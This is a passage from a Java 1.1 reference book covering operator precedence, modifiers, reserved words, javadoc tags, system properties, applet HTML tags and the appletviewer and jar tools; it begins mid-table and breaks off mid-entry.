 | & | boolean | L | boolean AND
8 | ^ | integral | L | bitwise XOR
 | ^ | boolean | L | boolean XOR
9 | | | integral | L | bitwise OR
 | | | boolean | L | boolean OR
10 | && | boolean | L | conditional AND
11 | || | boolean | L | conditional OR
12 | ?: | boolean, any, any | R | conditional (ternary) operator
13 | = | variable, any | R | assignment
 | *=, /=, %=, +=, -=, <<=, >>=, >>>=, &=, ^=, |= | variable, any | R | assignment with operation

Operator precedence controls the order in which operations are performed. Consider the following example:

w = x + y * z;

The multiplication operator * has a higher precedence than the addition operator +, so the multiplication is performed before the addition. Furthermore, the assignment operator = has the lowest precedence of any operator, so the assignment is done after all the operations on the right-hand side are performed. Operators with the same precedence (like addition and subtraction) are performed in order according to their associativity (usually left-to-right). Operator precedence can be overridden with the explicit use of parentheses. For example:

w = (x + y) * z;

The associativity of an operator specifies the order that operations of the same precedence are performed in. In Table 13.3 a value of L specifies left-to-right associativity, and a value of R specifies right-to-left associativity. Left-to-right associativity means that operations are performed left-to-right. For example:

w = x + y + z;

is the same as:

w = ((x + y) + z);

because the addition operator has left-to-right associativity. On the other hand, the following expressions:

x = ~-~y;
q = a?b:c?d:e?f:g;

are equivalent to:

x = ~(-(~y));
q = a?b:(c?d:(e?f:g));

because the unary operators and the ternary conditional ?: operator have right-to-left associativity.

Java operators are basically identical to C operators, except for these differences:

  • The + operator applied to String values concatenates them. If only one operand of + is a String, the other one is converted to a string. The conversion is done automatically for primitive types and by calling the toString method of non-primitive types.

  • Java does not have the comma operator like C does. It does, however, simulate this operator in the limited context of the for loop initialization and increment expressions.

  • Since all Java integral types are signed, the >> operator always does a signed right shift, filling in high bits with the sign bit of the operand. The new >>> operator performs an unsigned right shift, filling in high bits of the shifted value with zero bits.

  • The & and | operators perform bitwise AND and OR operations on integral operands, and perform logical AND and OR operators on boolean operands. && and || also perform logical AND and OR on boolean operands, but do not evaluate the right-hand operand, if the result of the operation is fully determined by the left-hand operand.

  • The instanceof operator returns true if the object on the left-hand side is an instance of the class or implements the interface on the right-hand side. Otherwise it returns false. If the left-hand side is null, it returns false.

Previous | Home | Next
Character Escape Sequences | Book Index | Modifiers
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 13] 13.4 Modifiers

Java in a Nutshell

Previous Chapter 13
Java Syntax 		Next

13.4 Modifiers

There are quite a few Java keywords that serve as modifiers for Java classes, interfaces, methods, and fields. They are described in Table 13.4.

Table 13.4: Java Modifiers
Modifier | Used On | Meaning
abstract | class | The class contains unimplemented methods and cannot be instantiated.
 | interface | All interfaces are abstract. The modifier is optional in interface declarations.
 | method | No body is provided for the method (it is provided by a subclass). The signature is followed by a semicolon. The enclosing class must also be abstract.
final | class | The class may not be subclassed.
 | field | The field may not have its value changed (compiler may precompute expressions).
 | method | The method may not be overridden (compiler may optimize).
 | variable | Java 1.1 and later: the local variable or method or exception parameter may not have its value changed.
native | method | The method is implemented in C, or in some other platform-dependent way. No body is provided; the signature is followed by a semicolon.
none (package) | class | A non-public class is accessible only in its package
 | interface | A non-public interface is accessible only in its package
 | member | A member that is not private, protected, or public has package visiblity and is accessible only within its package.
private | member | The member is only accessible within the class that defines it.
protected | member | The member is only accessible within the package in which it is defined, and within subclasses.
public | class | The class is accessible anywhere its package is.
 | interface | The interface is accessible anywhere its package is.
 | member | The member is accessible anywhere its class is.
static | class | In Java 1.1, a class delared static is a toplevel class, not an inner class.
 | field | A static field is a "class field." There is only one instance of the field, regardless of the number of class instances created. It may be accessed through the class name.
 | initializer | The intializer is run when the class is loaded, rather than when an instance is created.
 | method | A static method is a "class method." It is not passed as an implicit this object reference. It may be invoked through the class name.
synchronized | method | The method makes non-atomic modifications to the class or instance, and care must be taken to ensure that two threads cannot modify the class or instance at the same time. For a static method, a lock for the class is acquired before executing the method. For a non-static method, a lock for the specific object instance is acquired.
transient | field | The field is not part of the persistent state of the object, and should not be serialized with the object.
volatile | field | The field may be accessed by unsynchronized threads, so certain code optimizations must not be performed on it.

Table 13.5 summarizes the visibility modifiers; it shows the circumstances under which class members of the various visibility types are accessible.

Table 13.5: Class Member Accessibility
Accessible to: | Member Visibility
 | public | protected | package | private
Same class | yes | yes | yes | yes
Class in same package | yes | yes | yes | no
Subclass in different package | yes | yes | no | no
Non-subclass, different package | yes | no | no | no

Previous | Home | Next
Operators | Book Index | Reserved Words
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 13] 13.5 Reserved Words

Java in a Nutshell

Previous Chapter 13
Java Syntax 		Next

13.5 Reserved Words

Table 13.6 lists reserved words in Java. These are keywords or boolean literal values. Note that byvalue, cast, const, future, generic, goto, inner, operator, outer, rest, and var are reserved by Java but currently unused.

Table 13.6: Java Reserved Words
abstract | default | goto | operator | synchronized
boolean | do | if | outer | this
break | double | implements | package | throw
byte | else | import | private | throws
byvalue | extends | inner | protected | transient
case | false | instanceof | public | true
cast | final | int | rest | try
catch | finally | interface | return | var
char | float | long | short | void
class | for | native | static | volatile
const | future | new | super | while
continue | generic | null | switch |

Reserved Method Names

Table 13.7 lists the method names of the Object class. Strictly speaking, these method names are not reserved, but since the methods are inherited by every class, they should not be used as the name of a method, except when intentionally overriding an Object method.

Table 13.7: Reserved Method Names
clone | getClass | notifyAll
equals | hashCode | toString
finalize | notify | wait

Previous | Home | Next
Modifiers | Book Index | Java Documentation Comment Syntax
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 13] 13.6 Java Documentation Comment Syntax

Java in a Nutshell

Previous Chapter 13
Java Syntax 		Next

13.6 Java Documentation Comment Syntax

The Java language supports special "doc comments," which begin with /** and end with */. These comments are not actually treated specially by the compiler, but can be extracted and automatically turned into HTML documentation by the javadoc program.

Because the lines of a doc comment are embedded within a Java comment, any leading spaces and asterisks (*) are stripped from each comment line before processing. A doc comment may contain HTML markup tags, such as <PRE> and <TT> for code usage examples, but should not contain HTML structural tags such as <H2> or <HR>. Doc comments should immediately precede the declaration of the class, field, or method that they are associated with. The first sentence of a doc comment should be a summary sentence, suitable for display on its own. The following sentences may document the feature in more detail.

Following the initial summary sentence and any additional documentation, a doc comment may use special tags, which all begin with the @ character and allow javadoc to provide additional formatting for the documentation. The available tags are listed below. When you use a special javadoc tag, it must be the first thing on its line within the doc comment. The text that follows a tag may span more than one line, and continues until the next javadoc tag is encountered or until the comment ends. If you use more than one tag of the same type, they should be on subsequent lines. For example, a class with multiple authors, or a method with multiple arguments would use multiple @author or @param tags.

@see classname

This tag adds a "See Also:" entry to the documentation that contains a hyperlink to the specified class. It may be used before classes, methods, or fields.

@see full-classname

This tag adds a "See Also:" entry to the documentation that contains a hyperlink to the specified class. It may be used before classes, methods, or fields.

@see full-classname#method-name

This tag adds a "See Also:" entry to the documentation that contains a hyperlink to the specified method of the specified class. It may be used before classes, methods, or fields.

@version text

This tag adds a "Version:" entry containing the specified text to the documentation. May only be used before a class definition. javadoc ignores this tag unless the -version command-line argument is specified.

@author text

This tag adds an "Author:" entry containing the specified text to the documentation. May only be used before a class definition. javadoc ignores this tag unless the -author command-line argument is specified.

@param parameter-name description

This tag adds the specified parameter and its specified description to the "Parameters:" section of the current method. If the description is longer than one line, it may be continued on the next. May only be used before a method definition.

@return description

Adds a "Returns:" section containing the specified description to the documentation. May only be used before a method definition.

@exception full-classname description

Adds a "Throws:" entry to the documentation. The entry contains the specified class name of the exception and the description specified, which should explain the significance of the exception. May only be used before a method definition.

@deprecated explanation

As of Java 1.1, this tag specifies that the following class, method, or field has been deprecated. javac notes this information in the class file it produces and issues a warning when a program uses the deprecated feature. javadoc adds a "Deprecated" entry to the documentation that includes the specified explanation.

@since version

As of Java 1.1, this undocumented tag is used to specify when the class, method, or field that follows it was added to the API. It should be followed by a version number or other version specification. The JDK 1.1 version of javadoc appears to ignore this tag.

Previous | Home | Next
Reserved Words | Book Index | System Properties
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 14] System Properties

Java in a Nutshell

Previous Chapter 14 Next

14. System Properties

Contents:
Standard System Properties
Working with System Properties

Java programs cannot read environment variables the way that native programs can. The reason is that environment variables are platform dependent. Similar mechanisms exist, however, that allow applications to read the value of a named resource. These resource values allow customization of an application's behavior based on site-specific parameters, such as the type of host, or based on user preferences.

These named resource values are specified for applications in the "system properties" list. Applications can read these "system properties" with the System.getProperty() method, or can read the entire list of properties with System.getProperties(). System.getProperty() returns the property value as a string. Applications can also read properties in parsed form using methods that are based on System.getProperty(), such as Font.getFont(), Color.getColor(), Integer.getInteger(), and Boolean.getBoolean().

14.1 Standard System Properties

When the Java interpreter starts, it inserts a number of standard properties into the system properties list. These properties, and the meaning of their values, are listed in Table 14.1. The table also specifies whether untrusted applets are allowed (at least by default) to read the value of these properties. For reasons of security, untrusted code is only allowed to read the values of properties to which it has explicitly been granted access. (Untrusted applets are not allowed to set the value of system properties, nor are they allowed to call System.getProperties() to obtain the entire list of properties.)

Table 14.1: Standard System Properties
Name | Value | Applet Access
java.version | Version of the Java interpreter | yes
java.vendor | Vendor-specific identifier string | yes
java.vendor.url | Vendor's URL | yes
java.class.version | The version of the Java API | yes
java.class.path | The classpath value | no
java.home | The directory Java is installed in | no
java.compiler | The JIT compiler to use, if any (Java 1.1) | no
os.name | The name of the operating system | yes
os.arch | The host hardware architecture | yes
os.version | Version of the host operating system | yes
file.separator | Platform-dependent file separator (e.g., / or #) | yes
path.separator | Platform-dependent path separator (e.g., : or ;) | yes
line.separator | Platform-dependent line separator (e.g., #n or #r#n) | yes
user.name | The username of the current user | no
user.home | The home directory of the current user | no
user.dir | The current working directory | no
user.language | The 2-letter language code of the default locale (Java 1.1) | no
user.region | The 2-letter country code of the default locale (Java 1.1) | no
user.timezone | The default time zone (Java 1.1) | no
file.encoding | The character encoding for the default locale (Java 1.1) | no
file.encoding.pkg | The package that contains converters between local encodings and Unicode (Java 1.1) | no

Previous | Home | Next
Java Documentation Comment Syntax | Book Index | Working with System Properties
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 14] 14.2 Working with System Properties

Java in a Nutshell

Previous Chapter 14
System Properties 		Next

14.2 Working with System Properties

The system property list is not a static. Other properties can be added to it (and read from it) to allow easy customization of application behavior.

Specifying Individual Properties

You can specify individual properties to be inserted into the system properties list with the -D option to the Java interpreter. For example, you might invoke a program like this:

% java -Dgames.tetris.level=9 -Dgames.tetris.sound=off games.tetris

Note the format of each property specification: the property name, which is often a hierarchical one, followed by an equals sign, followed by the property value. A property value may include spaces, but any -D option specifying a property value containing spaces would have to be quoted when passed to java, of course.

If you write a platform-specific script file to invoke your Java application, you can use this -D option to translate native environment variable settings into Java system properties. On a Unix system, for example, such a script might look like this:

#!/bin/sh
exec java -Dgames.tetris.level=$TETRIS_LEVEL \
          -Dgames.tetris.sound=$TETRIS_SOUND \
          games.tetris

Using Property Files

Properties in Java are represented by the java.util.Properties object, which is essentially a hash table that can be read from and written to a file. A program need not limit itself to the use of system properties. It can also read in its own files of properties to support user preferences and user customization. For example, when the appletviewer program starts up, it reads the properties from the lib/appletviewer.properties file in the JDK distribution. This file contains the various messages that appletviewer displays to the user and provides the flexibility to translate those messages into other languages. The following lines are an excerpt from appletviewer.properties:

#
# Applet status messages
#
appletloader.nocode=APPLET tag missing CODE parameter.
appletloader.notfound=load: class %0 not found.
appletloader.nocreate=load: %0 can't be instantiated.

Note that comments in a properties file start with #, and that the property specification format is the same as with the -D option. Also note that these property values do contain spaces. Some of them also contain the % substitution character and are intended for use with the java.text.MessageFormat class.

When reading in a file of properties, it can be convenient to merge those properties with the standard system properties, so that the program need only look in one place to find both loaded properties and standard properties (and properties specifed wiht the -D option). Every Properties object can have a "parent" properties object; if a property is not found in the Properties object, it is searched for in the parent. Thus, it is possible to merge in properties with code like this:

// Create a new Properties object with system props as its parent.
Properties props = new Properties(System.getProperties());
// Load a file of properties into it.  We may get an exception here...
props.load(new BufferedInputStream(new FileInputStream(propsfilename)));
// Set these new combined properties as the system properties.
System.setProperties(props);

Specifying Font Properties

As noted above, a program can read the string value of a system property with the System.getProperty() method. There are also some convenience methods that read a property value and convert that value into some other type of object. One of these convenience methods is Font.getFont(). This method reads the value of a named property and attempts to parse it into a font specification. The font specification syntax it uses is:

name[-style][-size]

Thestyle should be italic, bold or bolditalic. If omitted, a plain font is used. The size should be an integer that specifies the font size in points. If omitted, 12-point is used. If the style is specified, the size must also be specified. For example, you might specify font properties like the following:

games.tetris.titlefont=sanserif-bolditalic-48
games.tetris.mainfont=serif-14
games.tetris.scorefont=monospaced

Specifying Color Properties

Color.getColor() is another convenience routine that reads a system property and converts it into a Color object. To specify a color property, you specify the color as an integer value, typically as a hexadecimal value in the format 0x RRGGBB. For example:

# A green foreground
games.tetris.foreground=0x00FF00
# A light gray background
games.tetris.background=0xD0D0D0

Previous | Home | Next
Standard System Properties | Book Index | Java-Related HTML Tags
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 15] Java-Related HTML Tags

Java in a Nutshell

Previous Chapter 15 Next

15. Java-Related HTML Tags

Contents:
The <APPLET> Tag
The <PARAM> Tag
An Example HTML File

This chapter explains what you need to know about HTML to work with Java applets.

15.1 The <APPLET> Tag

A Java applet is included in a Web page with the <APPLET> tag, which has the following syntax. Items in brackets ([]) are optional.

<APPLET
    CODE = applet-filename
    WIDTH = pixel-width
    HEIGHT = pixel-height
    [OBJECT = serialized-applet-filename]
    [ARCHIVE = jar-file-list]
    [CODEBASE = applet-url]
    [ALT = alternate-text]
    [NAME = applet-name]
    [ALIGN = alignment]
    [VSPACE = vertical-pixel-space]
    [HSPACE = horizontal-pixel-space]
>
[<PARAM NAME = parameter VALUE = value>]
[<PARAM NAME = parameter VALUE = value>]
    ...
[alternate-text]
</APPLET>

APPLET

The <APPLET> tag specifies an applet to be run within a Web document. A Web browser that does not support Java and does not understand the <APPLET> tag ignores this tag and any related <PARAM> tags, and simply displays any alternate-text that appears between <APPLET> and </APPLET>. A browser that does support Java runs the specified applet, and does not display the alternate-text.

CODE

This required attribute specifies the file that contains the compiled Java code for the applet. It must be relative to the CODEBASE if that attribute is specified, or relative to the current document's URL. It must not be an absolute URL. In Java 1.1, this attribute can be replaced with an OBJECT attribute.

WIDTH

This attribute specifies the initial width, in pixels, that the applet needs in the browser's window. It is required.

HEIGHT

This attribute specifies the initial height, in pixels, that the applet needs in the browser's window. It is required.

OBJECT

As of Java 1.1, this attribute specifies the name of a file that contains a serialized applet that is to be created by deserialization. An applet specified in this way does not have its init() method invoked, but does have its start() method invoked. Thus, before an applet is saved through serialization, it should be initialized, but should not be started, or, if started, it should be stopped. An applet must have either the CODE or OBJECT attribute specified, but not both.

ARCHIVE

As of Java 1.1, this attribute specifies a comma-separate list of JAR (Java Archive) files that are "preloaded" by the Web browser or applet viewer. These archive files may contain Java class files, images, sounds, properties, or any other resources required by the applet. The Web browser or applet viewer searches for required files in the archives before attempting to load them over the network.

CODEBASE

This optional attribute specifies the base URL (absolute or relative) of the applet to be displayed. This should be a directory, not the applet file itself. If this attribute is unspecified, then the URL of the current document is used.

ALT

This optional attribute specifies text that should be displayed by browsers that understand the <APPLET> tag but do not support Java.

NAME

This optional attribute gives a name to the applet instance. Applets that are running at the same time can look each other up by name and communicate with each other.

ALIGN

This optional attribute specifies the applet's alignment on the page. It behaves just like the ALIGN attribute of the <IMG> tag. Its allowed values are: left, right, top, texttop, middle, absmiddle, baseline, bottom, and absbottom.

VSPACE

This optional attribute specifies the margin, in pixels, that the browser should put above and below the applet. It behaves just like the VSPACE attribute of the <IMG> tag.

HSPACE

This optional attribute specifies the margin, in pixels, that the browser should put on either side of the applet. It behaves just like the HSPACE attribute of the <IMG> tag.

Previous | Home | Next
Working with System Properties | Book Index | The <PARAM> Tag
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 15] 15.2 The <PARAM> Tag

Java in a Nutshell

Previous Chapter 15
Java-Related HTML Tags 		Next

15.2 The <PARAM> Tag

The <PARAM> tag, with its NAME and VALUE attributes, specifies a named parameter and its corresponding string value that are passed to the applet. These applet parameters function like system properties or command-line arguments do for a regular application. Any number of <PARAM> tags may appear between <APPLET> and </APPLET>.

An applet can look up the value of a parameter specified in a <PARAM> tag with the Applet.getParameter() method, which is something like the System.getProperty() method for Java applications.

Previous | Home | Next
The <APPLET> Tag | Book Index | An Example HTML File
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 15] 15.3 An Example HTML File

Java in a Nutshell

Previous Chapter 15
Java-Related HTML Tags 		Next

15.3 An Example HTML File

Example 15.1 shows an applet embedded in an HTML file. This file is a lightly edited version of one of the demos that ships with the JDK. Notice the use of the <PARAM> tags to supply arguments to the applet.

Example 15.1: Example HTML Page Containing an Applet

<HTML>
<HEAD>
<TITLE>The Animator Applet (1.1) - example 1</TITLE>
</HEAD>
<BODY>
<H1>The Animator Applet (1.1) - example 1</H1>
<APPLET CODE=Animator.class WIDTH=460 HEIGHT=160>
<PARAM NAME=imagesource VALUE="images/Beans">
<PARAM NAME=backgroundcolor VALUE="0xc0c0c0">
<PARAM NAME=endimage VALUE=10>
<PARAM NAME=soundsource VALUE="audio">
<PARAM NAME=soundtrack VALUE=spacemusic.au>
<PARAM NAME=sounds VALUE="1.au|2.au|3.au|4.au|5.au|6.au|7.au|8.au|9.au|0.au">
<PARAM NAME=pause VALUE=200>
</APPLET>
</BODY>
</HTML>

Previous | Home | Next
The <PARAM> Tag | Book Index | appletviewer
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Part 5] How To Use This Quick Reference

Java in a Nutshell

Previous Part 5 Next

5. How To Use This Quick Reference

Contents:
Finding a Quick Reference Entry
Reading a Quick Reference Entry

The quick-reference section that follows packs a lot of information into a small space. This introduction explains how to get the most out of that information. It explains how the quick reference is organized and how to read the individual quick-ref entries.

5.1 Finding a Quick Reference Entry

The following chapters each document one package of the Java API. The packages are listed alphabetically, beginning with java.applet and ending with java.util.zip. Each chapter begins with an overview of the package, including a hierarchy diagram for the classes and interfaces in the package. Within each chapter, the classes and interfaces of a package are themselves listed alphabetically.

If you know the name of a class, but not of the package that it is a part of, or if you know the name of a method or field, but do not know what class defines it, use the index in Chapter 32, Class, Method, and Field Index to find the information you need.

Previous | Home | Next
serialver | Book Index | Reading a Quick Reference Entry
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Part 5] 5.2 Reading a Quick Reference Entry

Java in a Nutshell

Previous Part 5
How To Use This Quick Reference 		Next

5.2 Reading a Quick Reference Entry

Each class and interface has its own entry in this quick reference. These quick-reference entries document the class or interface as described below. Because the information in each entry is quite dense, the descriptions of it that follow are somewhat complicated. I recommend that you flip through the following chapters as you read to find examples of each of the features described.

Name and Availability

Each quick reference entry has a title that is the name of the class or interface it documents. To the right of that title, you'll find availability information that indicates when the class or interface was added to the Java API. The string "JDK 1.0" indicates that the class or interface has been around since the original release of Java. The string "JDK 1.1" indicates that it has been added in the Java 1.1 release, and is therefore not backwards compatible with Java 1.0 environments. If the availability string is followed by the word "Deprecated," it means that the class or interface has been deprecated and its use is discouraged. There are two such deprecated classes in Java 1.1.

Description

The class name is followed by a short description of the most important features of the class. This description may be anywhere from a couple of sentences to several paragraphs long.

Synopsis

The description is always followed by a synopsis of the class or interface. This is a listing that looks like a Java class definition, except that method bodies and field initializers are omitted. This synopsis contains the following information:

Class Modifiers

The synopsis begins with a list of class modifiers. All classes and interfaces in this quick reference are public; some are also declared abstract or final

Class or Interface

If the modifiers are followed by the class keyword, it is a class that is being documented. If they are followed by the interface keyword, it is an interface that is being documented.

Class Name

The name of the class or interface follows the class or interface keyword. It is highlighted in bold.

Superclass

The superclass of the class follows the extends keywords.

Interfaces

The list of interfaces that the class implements, if any, follows the implements keyword.

Members

The constructors, fields, and methods defined by the class or interface form the bulk of the synopsis. All public and protected members are listed. They are divided into the following categories, and listed alphabetically by name within each category. Each category begins with a comment to break the synopsis listing into logical sections. The categories, in the order listed, are:

  1. Public constructors

  2. Protected constructors

  3. Constants

  4. Class variables

  5. Public instance variables

  6. Protected instance variables

  7. Class methods

  8. Public instance methods

  9. Protected instance methods

Availability

If a member synopsis begins with the string "1.1", it indicates that the constructor, field, or method has been added to the class or interface in Java 1.1. Note that this indication only appears in classes and interfaces that are not themselves new in Java 1.1. If a member synopsis begins with "#", it means that the constructor, field, or method has been deprecated in Java 1.1, and that its use is discouraged.

Member Modifiers

The modifiers for each member are listed. These provide important information about how the members are used. The modifiers you may find listed are: public, protected, static, abstract, final, synchronized, native, and transient.

Member Type

The listing for a member may include a type. The types of fields and constants are shown, as are the return types of methods. Constructors do not have return types in Java.

Member Name

The name of each class member is in bold, for easy scanning.

Parameters

The synopsis for a method or constructor includes the type and name of each parameter that it takes. The parameter names are shown in italic to indicate that they are not to be used literally.

Exceptions

The exceptions that may be thrown by a method or constructor follow the throws keyword in the synopsis.

Inheritance

The synopsis for a method may be followed by a comment that includes a class or interface name. If a method is followed by a //Overrides comment, the method overrides a method by the same name in the specified superclass. If a method synopsis is followed by a //Defines comment, the method provides the definition of an abstract method of the specified superclass. Finally, if a method synopsis is followed by a //From comment, the method implements a method from the named interface (which is implemented by the class or a superclass).

Cross References

The synopsis section is followed by a number of optional "cross reference" sections that indicate other, related classes that may be of interest. In the first edition of this book, this information was available in separate index chapters. We think it should be even more useful when associated directly with each class and interface entry. The cross reference sections are the following:

Hierarchy

This section lists all of the superclasses of the class, as well as any interfaces implemented by those superclasses. It may also list any interfaces extended by an interface. This section only appears when it provides information that is not available from the extends and implements clauses of the class synopsis. In the hierarchy listing, arrows indicate superclass to subclass relationships, while the interfaces implemented by a class follow the class name in parentheses. This information can be useful, for example, to determine whether a class implements Serializable or Cloneable somewhere up its superclass hierarchy.

Extended By

This section lists all direct subclasses of this class, or any interfaces that extend this interface, which tells you that there are more specific classes or interfaces to look at.

Implemented By

This section lists all of the classes that directly implement this interface, which is useful when you know that you want to use the interface but you don't know what implementations of it are available.

Passed To

This section lists all of the methods and constructors that are passed an object of this type as an argument, which is useful when you have an object of a given type and want to figure out what you can do with it.

Returned By

This section lists all of the methods (but not constructors) that return an object of this type, which is useful when you know that you want to work with an object of this type, but don't know how to obtain one.

Type Of

This section lists all of the fields and constants that are of this type, which can help you figure out how to obtain an object of this type.

Thrown By

For exception and error classes, this section lists all of the methods and constructors that throw exceptions of this type. This material helps you figure out when a given exception or error may be thrown. Note, however, that this section is based on the exception types listed in the throws clauses of methods and constructors. Subclasses of RuntimeException do not have to be listed in throws clauses, so it is not possible to generate a complete cross reference of methods that throw these types of "unchecked" exceptions.

Previous | Home | Next
Finding a Quick Reference Entry | Book Index | The java.applet Package
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 16] JDK Tools

Java in a Nutshell

Previous Chapter 16 Next

16. JDK Tools

Contents:
appletviewer
jar
java
javac
javadoc
javah
javakey
javap
jdb
native2ascii
serialver

appletviewer

Name

appletviewer---The Java Applet Viewer

Availability

JDK 1.0 and later.

Synopsis

appletviewer [-debug]  [-Jjavaoption] [-encoding enc] url|file...

Description

appletviewer reads or downloads one or more HTML documents specified by filename or URL on the command line. It reads or downloads all the applets referenced in each document and displays them, each in their own window. If none of the named documents has an <APPLET> tag, appletviewer does nothing.

Options

-debug

If this option is specified, the appletviewer is started within jdb (the Java debugger). This allows you to debug the applets referenced by the document or documents.

-J javaoption

This option passes the following javaoption as a command-line argument to the Java interpreter. The specified javaoption should not contain spaces. If a multi-word option must be passed to the Java interpreter, multiple -J options should be used. See java for a list of valid Java interpreter options. Available in JDK 1.1 and later.

-encoding enc

This option specifies the character encoding that appletviewer should use when reading the contents of the specified files or URLs. It is used in the conversion of applet parameter values to Unicode. Available in JDK 1.1 and later.

Commands

The window displayed by appletviewer contains a single Applet menu, with the following commands available:

Restart

Stops and destroys the current applet, then re-initializes and restarts it.

Reload

Stops, destroys, and unloads the applet, then reloads, reinitializes, and restarts it.

Stop

Stops the current applet. Available in Java 1.1 and later.

Save

Serializes the applet and saves the serialized applet in the file Applet.ser in the user's home directory. The applet should be stopped before selecting this option. Available in Java 1.1 and later.

Start

Restarts a stopped applet. Available in Java 1.1 and later.

Clone

Creates a new copy of the applet in a new appletviewer window.

Tag

Pops up a dialog box that displays the <APPLET> tag and all associated <PARAM> tags that created the current applet.

Info

Pops up a dialog box that contains information about the applet. This information is provided by the getAppletInfo() and getParameterInfo() methods implemented by the applet.

Edit

This command is not implemented. The Edit menu item is disabled.

Character Encoding

Displays the current character encoding in the status line. Available in Java 1.1 and later.

Print

Prints the applet. Available in Java 1.1 and later.

Properties

Displays a dialog that allows the user to set appletviewer preferences, including settings for firewall and caching proxy servers.

Close

Closes the current appletviewer window.

Quit

Quits appletviewer, closing all open windows.

Properties

When it starts up, appletviewer reads property definitions from the file ~/.hotjava/properties (UNIX) or the .hotjava\properties file relative to the HOME environment variable (Windows). These properties are stored in the system properties list and are used to specify the various error and status messages the applet viewer displays, as well as its security policies and use of proxy servers. The properties that affect security and proxies are described below.

Security

The following properties specify the security restrictions that appletviewer places on untrusted applets:

acl.read

This is a list of files and directories that an untrusted applet is allowed to read. The elements of the list should be separated with colons on UNIX systems and semicolons on Windows systems. On UNIX systems, the ~ character is replaced with the home directory of the current user. If the plus character appears as an element in the list, it is replaced by the value of the acl.read.default property. This provides an easy way to enable read access--by simply setting acl.read to "+". By default, untrusted applets are not allowed to read any files or directories.

acl.read.default

This is a list of files and directories that are readable by untrusted applets if the acl.read property contains a plus character.

acl.write

This is a list of files and directories that an untrusted applet is allowed to write to. The elements of the list should be separated with colons on UNIX systems and semicolons on Windows systems. On UNIX systems, the ~ character is replaced with the home directory of the current user. If the plus character appears as an element in the list, it is replaced by the value of the acl.write.default property. This provides an easy way to enable write access--by simply setting acl.write to "+". By default, untrusted applets are not allowed to write to any files or directories.

acl.write.default

This is a list of files and directories that are writable by untrusted applets if the acl.write property contains a plus character.

appletviewer.security.mode

This property specifies the types of network access an untrusted applet is allowed to perform. If it is set to "none", then the applet can perform no networking at all. The value "host" is the default, and specifies that the applet can connect only to the host from which it was loaded. The value "unrestricted" specifies that an applet may connect to any host without restrictions.

package.restrict.access.package-prefix

Properties of this form may be set to true to prevent untrusted applets from using classes in any package that has the specified package name prefix as the first component of its name. For example, to prevent applets from using any of the Sun classes (such as the Java compiler and the appletviewer itself) that are shipped with the JDK, you could specify the following property:

package.restrict.access.sun=true

appletviewer sets this property to true by default for the sun.* and netscape.* packages.

package.restrict.definition.package-prefix

Properties of this form may be set to true to prevent untrusted applets from defining classes in a package that has the specified package name prefix as the first component of its name. For example, to prevent an applet from defining classes in any of the standard Java packages, you could specify the following property:

package.restrict.definition.java=true

appletviewer sets this property to true by default for the java.*, sun.*, and netscape.* packages.

property.applet

When a property of this form is set to true in Java 1.1, it specifies that an applet should be allowed to read the property named property from the system properties list. By default, applets are only allowed to read ten standard system properties (see Chapter 14, System Properties, for a list). For example, to allow an applet to read the user.home property, specify a property of the form

user.home.applet=true

Proxies

appletviewer uses the following properties to configure its use of firewall and caching proxy servers:

firewallHost

This is the firewall proxy host to connect to if the firewallSet property is true.

firewallPort

This is the port of the firewall proxy host to connect to if the firewallSet property is true.

firewallSet

This tells you whether the applet viewer should use a firewall proxy. Values are true or false.

proxyHost

This is the caching proxy host to connect to if the proxySet property is true.

proxyPort

This is the port of the caching proxy host to connect to if the proxySet property is true.

proxySet

This tells you whether the applet viewer should use a caching proxy. Values are true or false.

Environment

CLASSPATH

Specifies an ordered list (colon-separated on UNIX, semicolon-separated on Windows systems) of directories and ZIP files in which appletviewer should look for class definitions. When a path is specified with this environment variable, appletviewer always implicitly appends the location of the system classes to the end of the path. If this environment variable is not specified, the default path is the current directory and the system classes. Note that appletviewer does not support the -classpath command-line argument, except indirectly through the -J option.

See Also

java, javac, jdb

Previous | Home | Next
serialver | Book Index | jar
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 16] jar

Java in a Nutshell

Previous Chapter 16
JDK Tools 		Next

jar

Name

jar---Java Archive Tool

Availability

JDK 1.1 and later.

Synopsis

jar c|t|x[f][m][v] [jar-file] [manifest-file] [files]

Description

jar is a tool that can be used to create and manipulate Java Archive (JAR) files. A JAR file is a compressed ZIP file with an additional "manifest" file. The syntax of the jar command is reminiscent of the Unix tar (tape archive) command.

Options to jar are specified as a block of concatenated letters passed as a single argument, rather than as individual command-line arguments. The first letter of this option argument specifies what action jar is to perform and is required. Other option letters are optional. The various file arguments depend on which option letters are specified.

Options

The first argument to jar is a set of letters that specifies the operation it is to perform. The first letter specifies the basic action and is required. The three possible values are the following:

c

Create a new JAR archive. A list of input files and/or directories must be specified as the final arguments to jar.

t

List the contents of a JAR archive. If a JAR file is specified with the f option, its contents are listed. Otherwise, the JAR file to be listed is read from standard input.

x

Extract the contents of a JAR archive. If a JAR file is specified with the f option, its contents are extracted. Otherwise, the JAR file to be extracted is read from standard input. If the command is followed by a list of files and/or directories, only those files or directories are extracted from the JAR archive. Otherwise, all files in the archive are extracted.

This action specifier can be followed by optional command letters:

f

This option indicates that the JAR file to create, list, or extract from is specified on the command line. When f is used with c, t, or x, the JAR filename must be the second command-line argument to jar (i.e., it must follow the block of option letters). If this option is not specified, jar writes the JAR file it creates to standard output, or reads a JAR file from standard input.

m

This option is only used with the c action. It indicates that jar should read the manifest file (partial or complete) specified on the command line and use that file as the basis for the manifest it includes in the JAR file. When this argument is specified after the f option, the manifest filename should follow the destination filename. If m precedes the f option, the manifest filename should precede the destination filename.

v

